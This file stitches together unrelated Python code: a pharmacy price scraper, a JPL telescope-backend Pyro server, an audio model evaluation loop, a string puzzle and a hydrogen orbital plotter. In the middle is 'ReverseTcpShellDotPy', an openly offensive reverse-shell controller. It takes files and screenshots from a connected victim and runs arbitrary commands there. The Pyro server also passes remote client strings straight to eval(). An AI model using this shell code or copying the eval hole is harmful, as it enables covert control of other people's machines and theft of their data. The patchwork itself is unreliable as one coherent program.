agent = {"User-Agent": 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'}
url = "https://www.medplusmart.com/product/"

def getMedList(query):
    page = requests.get(url + query, headers=agent).text
    soup = BeautifulSoup(page, 'html.parser')

    meds = soup.select(".wbrk")
    price = soup.select(".cursor td:nth-of-type(3)")

    count = -1
    medList = []
    for med in meds:
        count += 1
        link = med.select("a")
        if(len(link) != 0):
            link = link[0].attrs['href']
        else:
            link = ""

        if(link == "" or med.text == ""):
            pass
        else:
            temp = {
                "name": med.text.strip(),
                "link": link.strip(),
                "price": price[count].text.strip().replace("\t", "")
            }

            medList.append(temp)

    return medList


"""
WBDC2 server

When the 'wbdc2' configuration includes ROACH backends this should live
elsewhere.

Brief User Guide
================

Launching the Server
--------------------
Suppose that the WBDCserver class is instantiated in a program 'wbdc2_server.py'.
Then we start the manager and verify that it is running::
  kuiper@dto:/usr/local/.../ROACH-1/DTO$ python wbdc2_server.py &
  [2] 23013

Checking on the Servers
-----------------------
If the above gives an error or you need to see if servers are running::
  run this to try to find the Pyro server and task server::
  kuiper@dto:/usr/local/python/Observatory/BackEnds/ROACH-1/DTO$ pyro-nsc list
  Locator: searching Pyro Name Server...
  Locator: retry 1
  Locator: searching Pyro Name Server...
  Locator: retry 1
  Trying host dto
  Locator: contacting Pyro Name Server...  __name__ = 'wbdc2_server-'+gethostname()

  Trying host localhost
  Locator: contacting Pyro Name Server...
  There is a problem: could not find NameServer
If there was a Pyro nameserver but no task servers the response would be::
  kuiper@dto:/usr/local/python/Observatory/BackEnds/ROACH-1/DTO$ pyro-nsc list
  Locator: searching Pyro Name Server...
  NS is at 128.149.22.108 (dto.jpl.nasa.gov) port 9090
  :Default --> ( )

Starting the Pyro nameserver
----------------------------
If there is no Pyroserver running we start it::
  kuiper@dto:/usr/local/python/Observatory/BackEnds/ROACH-1/DTO$ pyro-ns &
  [1] 22076
  *** Pyro Name Server ***
  Name server listening on: ('0.0.0.0', 9090)
  Broadcast server listening on: ('255.255.255.255', 9090)
  URI is: PYRO://128.149.22.108:9090/8095166c563c1f89e2367ee923143d4e4b
  URI written to:
   /usr/local/python/Observatory/BackEnds/ROACH-1/DTO/Pyro_NS_URI
  Name Server started.
Now the manager task can be launched.

Connecting to the Server
------------------------
Pyro clients can connect to it to request services. Here's an example of using
the server.  If the server is behind a firewall, it requires that an ssh tunnel
has been opened through the firewall to the pyro server host.  Function
'device_server' handles that transparently but you'll need a passcode
generator::
  kuiper@kuiper:~/Downloads$ ipython
  ...
  In [1]: from support.pyro import get_device_server, cleanup_tunnels
  In [2]: mgr = get_device_server('WBDCserver-WBDC')

"""
import Pyro
from Pyro.errors import NamingError
import sys
import logging
import numpy

from MonitorControl.Configurations import station_configuration
from support.logs import init_logging, get_loglevel, set_loglevel

logging.basicConfig(level=logging.INFO)
logpath = "/tmp/" # for now
server_host = "dto.jpl.nasa.gov"

mylogger = logging.getLogger()
init_logging(mylogger,
             loglevel = logging.INFO,
             consolevel = logging.DEBUG,
             logname = logpath+"WBDC2_server.log")
mylogger.debug(" Handlers: %s", mylogger.handlers)

from support.logs import set_module_loggers
from support.pyro import launch_server
from support.process import is_running

class WBDCserver(Pyro.core.ObjBase):
  def __init__(self, observatory, equipment):
    Pyro.core.ObjBase.__init__(self)

    self.logger = logging.getLogger(__name__+".Manager")
    self.logger.debug("__init__: logger is %s",self.logger.name)
    self.observatory = observatory
    self.run = True

  def get_equipment(self, equipment):
    """
    Obtain and intrepret a description of hardware in the configuration
    """
    self.sample_clk = equipment['sampling_clock']
    self.logger.info("get_equipment: Sampler clocks: %s", self.sample_clk)

    self.IFsw = equipment['IF_switch']
    self.logger.info("get_equipment: IF switches: %s", self.IFsw)
    self.get_switch_states()

    self.roaches = equipment['Backend'].roach # dict with 2 roaches
    self.logger.info("get_equipment: roaches: %s",self.roaches)

    self.logger.debug("get_equipment: spectrometers: %s", self.spec)

  def set_WBDC(self,option):
    """
    Emulate old WBDC1 server
    """
    if option == 38:
      # get analog data
      monitor_data = {}
      for latchgroup in [1,2]:
        MD = self.analog_monitor.get_monitor_data(latchgroup)
        for key in MD.keys():
          monitor_data[key] = MD[key]
      return monitor_data
    elif option == 41:
      # set crossover switch
      return self.crossSwitch.set_state(crossover=True)
    elif option == 42:
      # unset crossover switch
      return self.crossSwitch.set_state(crossover=False)
    elif option == 43:
      # set polarizer to circular
      states = {}
      for ps in self.pol_sec.keys():
        states[ps] = self.pol_sec[ps].set_state(True)
      return states
    elif option == 44:
      # set polarizers to linear
      states = {}
      for ps in self.pol_sec.keys():
        states[ps] = self.pol_sec[ps].set_state(False)
      return states
    elif option == 45:
      # set IQ hybrids to IQ
      states = {}
      for dc in self.DC.keys():
        states[dc] = self.DC[dc].set_state(True)
      return states
    elif option == 46:
      # set IQ hybrids to UL
      states = {}
      for dc in self.DC.keys():
        states[dc] = self.DC[dc].set_state(False)
      return states
    else:
      return ("invalid option %d" % option)

  def sanitize(self, list_or_dict):
    """
    Pyro cannot return objects whose class is not known by the client.

    Any standard types of objects are returned as is.  A list or a dict,
    however, needs to be examined item by item to see if they are
    standard types.  Those that aren't need to be replaced with a string
    representation.
    """
    if type(list_or_dict) == str or \
       type(list_or_dict) == int or \
       type(list_or_dict) == float or \
       type(list_or_dict) == bool:
      return list_or_dict
    elif type(list_or_dict) == list:
      newlist = []
      for item in list_or_dict:
        newlist.append(self.sanitize(item))
      return newlist
    elif type(list_or_dict) == dict:
      newdict = {}
      for key in list_or_dict.keys():
        newdict[key] = self.sanitize(list_or_dict[key])
      return newdict
    else:
      return str(list_or_dict)

  def request(self,request):
    """
    Evaluate a statement in the local context

    Note that this only returns strings or standard types, not the user
    defined objects on the server side which they may represent.

    Examples (from the client side):
    >>> ks.request("self.spec[0].LO.get_p('frequency')")
    1300.0
    >>> ks.request("self.IFsw[3].state")
    8

    @param request : command to be evaluated
    @type  request : str

    @return: response
    """
    self.logger.debug("request: processing: %s", request)
    response = eval(request)
    self.logger.debug("request: response was: %s",response)
    if type(response) == str or \
       type(response) == int or \
       type(response) == float or \
       type(response) == bool or \
       type(response) == numpy.ndarray :
      self.logger.debug("request: returns native object")
      return response
    elif type(response) == list or type(response) == dict:
      Pyro_OK = self.sanitize(response)
      self.logger.debug("request: sanitized list or dict %s",Pyro_OK)
      return Pyro_OK
    else:
      self.logger.debug("request: returns str")
      return str(response)

  # ==================== Methods for managing the server ====================

  def running(self):
    """
    Report if the manager is running.  A return value of False should
    not be possible.
    """
    if self.run:
      return True
    else:
      return False

  def halt(self):
    """
    Command to halt the manager
    """
    self.logger.info("halt: Halting")
    self.run = False

if __name__ == "__main__":
  from socket import gethostname
  __name__ = 'wbdc2_server-'+gethostname()

  loggers = set_module_loggers(
    {'MonitorControl':                                'debug',
     'support':                                       'warning'})

  from optparse import OptionParser
  p = OptionParser()
  p.set_usage('kurtspec_server.py [options]')
  p.set_description(__doc__)

  p.add_option('-l', '--log_level',
               dest = 'loglevel',
               type = 'str',
               default = 'info',
               help = 'Logging level for main program and modules')
  opts, args = p.parse_args(sys.argv[1:])

  set_loglevel(mylogger, get_loglevel(opts.loglevel))

  # Set the module logger levels no lower than my level.
  for lgr in loggers.keys():
    if loggers[lgr].level < mylogger.level:
      loggers[lgr].setLevel(mylogger.level)
    mylogger.info("%s logger level is %s", lgr, loggers[lgr].level)

  # overrides pyro_support trace level
  Pyro.config.PYRO_TRACELEVEL = 3

  # Is there a Pyro server running?
  # if is_running("pyro-ns") == False:
  locator = Pyro.naming.NameServerLocator()
  mylogger.debug("Using locatorr %s", locator)
  try:
    ns = locator.getNS(host='dto.jpl.nasa.gov')
  except NamingError:
    mylogger.error(
      """Pyro nameserver task notfound. Is the terminal at least 85 chars wide?
      If pyro-ns is not running. Do 'pyro-ns &'""")
    raise RuntimeError("No Pyro nameserver")
  mylogger.info("Starting %s, please wait....", __name__)
  # Here is the hardware configuration
  observatory, equipment = station_configuration('wbdc2')
  telescope = equipment['Telescope']
  receiver = equipment['Receiver']

  m = WBDCserver(observatory, equipment)
  mylogger.info("%s started", __name__)
  launch_server(server_host, __name__, m)
  try:
    ns = locator.getNS(host='dto.jpl.nasa.gov')
  except NamingError:
    mylogger.error(
      """Pyro nameserver task notfound. Is the terminal at least 85 chars wide?
      If pyro-ns is not running. Do 'pyro-ns &'""")
    raise RuntimeError("No Pyro nameserver")
  ns.unregister(__name__)
  mylogger.info("%s finished", __name__)


#!/usr/bin/python3

try:
    import base64, binascii             # importing need libs
    import libs.clib as clib
    from socket import *
    from PIL import ImageGrab, Image
except :                                # if system dose does not have any of this libs throw an error
    print("ERROR: Run pip install --user --requirement requirements.txt")

Intro = r"""                            # our intro asci art

.     .       .  .   . .   .   . .    +  .
  .     .  :     .    .. :. .___---------___.
       .  .   .    .  :.:. _".^ .^ ^.  '.. :"-_. .
    .  :       .  .  .:../:            . .^  :.:\.
        .   . :: +. :.:/: .   .    .        . . .:\
 .  :    .     . _ :::/:               .  ^ .  . .:\
  .. . .   . - : :.:./.                        .  .:\
  .      .     . :..|:                    .  .  ^. .:|
    .       . : : ..||        .                . . !:|
  .     . . . ::. ::\(                           . :)/
 .   .     : . : .:.|.  ####               . ##### ::|
  :.. .  :-  : .:  ::|.#######           ..########:|
 .  .  .  ..  .  .. :\ ########          :######## :/
  .        .+ :: : -.:\ ########       . ########.:/
    .  .+   . . . . :.:\. ######         ######..:/
      :: . . . . ::.:..:.\           .   .   ..:/
   .   .   .  .. :  -::::.\.       | |     . .:/
      .  :  .  .  .-:.":.::.\             ..:/
 .      -.   . . . .: .:::.:.\.           .:/
.   .   .  :      : ....::_:..:\   ___.  :/
   .   .  .   .:. .. .  .: :.:.:\       :/
     +   .   .   : . ::. :.:. .:.|\  .:/|           ->  TITLE : ReverseTcpShellDotPy
     .         +   .  .  ...:: ..|  --.:|           ->  Coded : Cy4nGuy
.      . . .   .  .  . ... :..:.."(  ..)"           ->   SITE : cy4nxsbtnk3e5wy5.onion
 .   .       .      :  .   .: ::/  .  .::\          -> GITHUB : github.com/cy4nguy

"""

Server  = socket(AF_INET,SOCK_STREAM)   # setting up a TCP connection
HOST    = "YOUR IP"                     # our system IP address
PORT    = 4556                          # random  port that is not in use

Server.bind((HOST, PORT))               # binding IP and port
Server.listen(1)                        # waiting for the user to connect

print(clib.text(f"[*] {HOST}:{PORT} > listening").Color())  # if we got connection show target IP

Client, Addr = Server.accept()                              # our client and client info module and accepting the connection

print(clib.text(Intro).Art())                               #showing our intro art

while True:                                                     #start while True

    print(clib.text("[*] ServerSHELL > ").Color(), end="")      # ask the user for command
    Shell_User   = input()                                      # Get the command
    L_Shell_User = Shell_User.split(" ")                        # convert command to list

    if Shell_User == "quit":                                    # if user said quit
        Client.send(bytes(Shell_User, encoding="utf-8"))        # send quit request to client
        quit()                                                  # end then quit

    elif L_Shell_User[0] == "file":                             # if user went to get file form client

        if L_Shell_User[1] == "get":
            Client.send(bytes(Shell_User, encoding="utf-8"))            # send request to client
            FileDate = binascii.a2b_base64(Client.recv(1073741824))     # get file date in base60
            with open(f"Copy_{L_Shell_User[2]}", "wb") as File:         # save the date in file
                File.write(FileDate)                                    # write file

    elif L_Shell_User[0] == "showScreen":                               # if user went to get screnshot form client
        Client.send(bytes(Shell_User, encoding="utf-8"))                # send request to client
        FileDate = binascii.a2b_base64(Client.recv(1073741824))         # open file
        with open(f"Screen.png", "wb") as File: File.write(FileDate)    # save file date as png
        Image.open("Screen.png").show()

    elif L_Shell_User[0] == "help":                                     # if user entred invalid command or asked for help
        print(r"""
  _        _
 | |_  ___| |_ __
 | ' \/ -_) | '_ \
 |_||_\___|_| .__/
            |_|

                 1 -> file get FILENAME.png | get files form user
                 2 -> command YourCommand   | run command on user
                 3 -> showScreen            | show screeshot from user
                 4 -> chdir path\somewhare  | change the directory
                 5 -> path                  | show current directory(path)
                 6 -> back                  | Go one directory back
                """)

    else:
        Client.send(bytes(Shell_User, encoding="utf-8"))               # if user didnt entred any command send raw command
        Client_R   = str(Client.recv(1024), 'utf-8')                   # if user didnt entred any command show raw command

        print(Client_R)                                                # print client respond


import torch
import librosa
import numpy as np
import os
from os import path
from pathlib import Path
import glob
from effortless_config import Config
from init import init
import yaml
from fader_loader import spectral_features_spectro
from tqdm import tqdm

def test(loader, config):
    model_path = []
    print("YO")
    for (path, dirnames, filenames) in os.walk(config["data"]["trained_models_path"]):
        model_path.extend(os.path.join(path, name) for name in filenames)
    scaler = torch.nn.Conv2d(1, 1, (3, 3), stride=2).to(config["train"]["device"])
    scaler.weight.data.fill_(-1)
    scaler.weight.data[0, 0, 1, 1] = 1
    for m in model_path:
        print("TESTING")
        print(m)
        with torch.no_grad():
            model = torch.load(m, map_location=config["train"]["device"])
            model.eval()
            recon_feats = []
            target_feats = []
            mel = []
            m_stft = []
            jnd = []
            mel_cycle = []
            for batch_x, batch_y in tqdm(iter(loader), total=5000):
                # Take the input & attributes
                batch_x = batch_x.float().to(config["train"]["device"], non_blocking=True)
                batch_y = batch_y.float().to(config["train"]["device"], non_blocking=True)  # B x A x 1
                # Create random attributes
                y_random = batch_y.clone()
                for i in range(config["data"]["num_attributes"]):
                    y_random[:, i] = (torch.rand(batch_y.shape[0])).float()
                    # print(y_random)
                target_feats.append(y_random)
                # Reconstructions
                _, x_reconstruct_orig, _ = model(batch_x, batch_y)
                _, x_reconstruct, _ = model(batch_x, y_random)
                _, x_reconstruct_cycle, _ = model(x_reconstruct, batch_y)
                # Compute spectral feats from reconstruction
                feats = []
                for i in range(batch_x.shape[0]):
                    denorm_spec = torch.exp(x_reconstruct[i].detach()) - 0.1
                    feats.append(
                        np.mean(spectral_features_spectro(denorm_spec.cpu().numpy()
                                                          , config["preprocess"]["sample_rate"]),
                                axis=1))
                mel.append(torch.mean(torch.sqrt((x_reconstruct_orig - x_reconstruct) ** 2), axis=(-1, -2)))
                mel_cycle.append(torch.mean(torch.sqrt((x_reconstruct_orig - x_reconstruct_cycle) ** 2), axis=(-1, -2)))
                cur_stft = 0
                for r in range(5):
                    cur_stft += torch.mean(torch.sqrt((x_reconstruct_orig - x_reconstruct) ** 2), axis=(-1, -2))
                    x_reconstruct_orig = scaler(x_reconstruct_orig.unsqueeze(1)).squeeze()
                    x_reconstruct = scaler(x_reconstruct.unsqueeze(1)).squeeze()
                m_stft.append(cur_stft)
                jnd.append((mel[-1] + m_stft[-1]) * .1)
                print()
                feats = np.stack(feats, axis=0)
                recon_feats.append(feats)
            # Store difference between reconstruct attributes and ground truth
            # for i in range(len(tests_list)):
            #    x = cur_feats  # tests_list[i].cpu()
            #    y = recon_feats[i]
            torch.save([target_feats, recon_feats, mel, m_stft, jnd, mel_cycle],
                       m + '_results.pth')


from collections import deque

S = input()
S = deque(S)
q = int(input())
j = 0
for i in range(q):
    Q = list(input().split())
    if Q[0] == '1':
        j += 1
    else:
        if (int(Q[1]) + j) % 2 == 0:
            S.append(Q[2])

        else:
            S.appendleft(Q[2])

ans = S
ans = list(ans)
if j % 2 == 1:
    ans = ans[::-1]

ans = ''.join(ans)
print(ans)


import numpy
import matplotlib.pyplot as plt
import scipy.special
import scipy.misc
import math
from mpl_toolkits import mplot3d

# Переход к сферическим координатам (r, theta, phi)
def r(x, y, z):
    return numpy.sqrt(x**2 + y**2 + z**2)

def theta(x, y, z):
    R = r(x,y,z)
    if R == 0:
        return 0
    elif z < -R or z > R:
        return numpy.nan
    else:
        return numpy.arccos(z / R)

def phi(x, y, z):
    if x == 0 and y == 0:
        return 0
    elif x == 0:
        if y > 0:
            return numpy.pi / 2
        else:
            return -numpy.pi / 2
    else:
        return numpy.arctan(y / x)

# Коэффициент нормализации
def normalization_factor(n, l, a0):
    return numpy.sqrt((2 / n / a0) ** 3 * math.factorial(n - l - 1) / (2 * n * math.factorial(n + l)))

# Радиальная функция
def R(r, n, l, a0):
   return normalization_factor(n, l, a0) * (2 * r / n / a0) ** l * numpy.exp(-r / n / a0) * scipy.special.genlaguerre(
       n - l - 1, 2 * l + 1)(2 * r / n / a0)

# Волновая функция
def wave_function(r, theta, phi, n, l, m, a0):
   return R(r, n, l, a0) * scipy.special.sph_harm(m, l, phi, theta)

# Плотность вероятности волновой функции
def absolute_wave_function(r, theta, phi, n, l, m, a0):
   return numpy.absolute(wave_function(r, theta, phi, n, l, m, a0)) ** 2

def w(x, y, z, n, l, m):
    a0 = 1
    return absolute_wave_function(r(x, y, z), theta(x, y, z), phi(x, y, z), n, l, m, a0)

# Визуализация данных
def visualize(elements, probability):
    probability = probability / sum(probability)
    coord = numpy.random.choice(elements, size=100000, replace=True, p=probability)
    elem_mat = [i.split(',') for i in coord]
    elem_mat = numpy.matrix(elem_mat)
    x_coords = [float(i.item()[1:]) for i in elem_mat[:, 0]]
    y_coords = [float(i.item()) for i in elem_mat[:, 1]]
    z_coords = [float(i.item()[0:-1]) for i in elem_mat[:, 2]]

    fig = plt.figure(figsize=(10, 10))
    fig.canvas.mpl_connect('close_event', on_close)
    ax = fig.add_subplot(111, projection='3d')
    ax.scatter(x_coords, y_coords, z_coords, alpha=0.05, s=2)
    ax.set_title("Электронная плотность атома водорода")
    plt.show()

# Метод валидации данных
def validate_data(n, l, m):
    if (n < -3 or n > 3):
        raise Exception("Неверное значение n!\n")
    elif (l < -3 or l >= n):
        raise Exception("Неверное значение l!\n")
    elif (m < -3 or m > l):
        raise Exception("Неверное значение m!\n")

# Метод расчета
def calculate(xs, ys, zs, n, l, m, elements, probability):
    for x in xs:
        for y in ys:
            for z in zs:
                elements.append(str((x, y, z)))
                probability.append(w(x, y, z, n, l, m))

def on_close(event):
    print("")

def main():
    # n - главное квантовое число,
    # l - квантовое число углового момента,
    # m - магнитное квантовое число
    while (True):
        n = input("Введите значение n: ")
        if (n.find("-") <= 1 and n.replace("-", "").isdigit()):
            n = int(n)
        else:
            continue

        l = input("Введите значение l: ")
        if (l.find("-") <= 1 and l.replace("-", "").isdigit()):
            l = int(l)
        else:
            continue

        m = input("Введите значение m: ")
        if (m.find("-") <= 1 and m.replace("-", "").isdigit()):
            m = int(m)
        else:
            continue

        step = 1
        xs = numpy.arange(-30, 30, step)
        ys = numpy.arange(-30, 30, step)
        zs = numpy.arange(-30, 30, step)

        elements = []
        probability = []

        try:
            validate_data(n, l, m)
        except Exception as e:
            print(e)
            continue

        print("Ожидайте построения графика электронной плотности атома водорода")

        calculate(xs, ys, zs, n, l, m, elements, probability)
        visualize(elements, probability)

main()